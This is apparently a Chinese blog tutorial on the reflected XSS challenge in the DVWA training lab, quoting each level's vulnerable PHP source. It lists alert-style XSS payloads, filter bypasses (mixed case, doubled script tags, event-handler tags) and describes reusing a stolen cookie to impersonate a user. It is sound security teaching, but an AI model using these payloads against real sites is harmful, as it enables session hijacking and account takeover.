• DVWA(六):XSS-Reflected 反射型XSS全等级详解


    XSS 概念:

    由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

    XSS类型:

    Reflected(反射型):只是简单的把用户输入的数据反射给浏览器,需要诱导用户点击一个恶意链接才能攻击成功。

    存储型:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本

    DOM型:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,取决于输出地点

    (关于DOM节点,DOM为Document Obeject Mode首字母缩写,翻译为文档对象模型,在网页中所有对象和内容都被称为节点,如文档、元素、文本、属性、注释等,节点是DOM最基本的单元

    并派生出不同类型的节点,他们共同构成了文档的树形结构模式)

    XSS应用场景:1.利用xss获得cookie,2.重定向,3.钓鱼网站,4.DDOS

    记录一些一般的payload:(这里看不懂可以先看下面的示例,看完返回来看这里就会明白一些了)

    1.<script>alert(document.cookie)</script>

    2.<body onload=alert(document.cookie')>

    3.<a href='' onclick=alert(document.cookie)>click1</a>    #点击click1时弹出cookie值

    4.<img src=http://192.168.10.128/a.jpg onerror=alert(document.cookie)>  #src地址错误,然后执行onerror的内容

    Low级别:

    观察源码:

    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }

    ?>

    源码没有对参数做任何防御处理措施

    下面给一些基本的XSS攻击

    1.<script>alert(‘xss’)</script>

    2.<body onload=alert('xss2')>

    3.<a href='' onclick=alert('xss3')>click1</a>    #点击click1时弹出xss3

    4.<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容

    例如我们这里输入:

    <script>alert("xss")</script>

     构造获取cookie的payload:

    <script>alert(document.cookie)</script>

     然后Logout 用这段cookie值进行登录即可以被攻击者的身份访问此网站(在未关闭浏览器前)

    Medium

    观察源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }

    对于script标签进行了过滤,下面提供几个绕过的方法

    1.<sCriPt></SCriPt>大小写分开

    2.<scr<script>ipt> 类似于SQL注入中的双写

    3.用别的标签替换 :

     同样也可以获得cookie 之后就可以通过cookie以被攻击者的身份访问此网站

     High

    观察源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码

    执行:<body onload=alert('document.cookie')>

     Impossible

    观察源码:

    使用了htmlspecailchars函数做了html实体转义,无法利用XSS

     

     

    参考文章:DVWA XSS详解

  • 相关阅读:
    仿酷狗音乐播放器开发日志二十七 用ole为窗体增加文件拖动功能(附源码)
    redis持久化和主从同步
    MySQL主从复制
    Nginx 安装与详解
    ContOS安装配置MySQL,redis
    ContOS7编译安装python3,配置虚拟环境
    ContOS7切换国内源
    ContOS 常用命令
    轮询、长轮询、websock
    flask之三方组件
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12494809.html
Copyright © 2020-2023  润新知